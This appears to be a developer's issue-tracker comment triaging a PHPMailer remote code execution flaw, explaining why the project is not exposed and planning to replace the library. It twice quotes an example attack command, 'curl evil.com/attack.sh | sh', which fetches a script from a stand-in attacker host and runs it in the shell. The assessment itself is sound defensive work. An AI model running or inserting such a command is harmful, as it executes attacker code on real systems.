This appears to be the fix:

https://github.com/PHPMailer/PHPMailer/commit/4835657cd639fbd09afd33307cef164edf807cdc

So I think there a couple of attacks here, which probably look something like this:

• Somehow configuring the sendmail binary to be curl evil.com/attack.sh | sh.
• Somehow configuring the Sender to be `curl evil.com/attack.sh | sh` or similar.

I believe we are vulnerable to neither:

• We do not allow user or administrator configuration of the sendmail binary.
• We never configure a Sender.
• Empirically, our mail arrives without a "Sender" (see also T1837).
• We disable the implicit assignment of the Sender by passing the appropriate flag:

public function setFrom($email, $name = '') {
  $this->mailer->SetFrom($email, $name, $crazy_side_effects = false);
  return $this;
}

I'll keep an eye on this, but I think no immediate action is necessary because we don't expose any way to get at these vulnerabilities.

Rather than patching PHPMailer, I'd prefer to remove it completely by replacing it with first-party code: the code is sketchy from both a quality and security point of view, and RCE in a ~2,000 line mail adapter is absurd. See also D2147.

So my tentative plan is:

• leave it as-is for now;
• monitor further disclosures about this vulnerability, in case I am misunderstanding the attack;
• replace PHPMailer with a first-party replacement when we have an opportunity.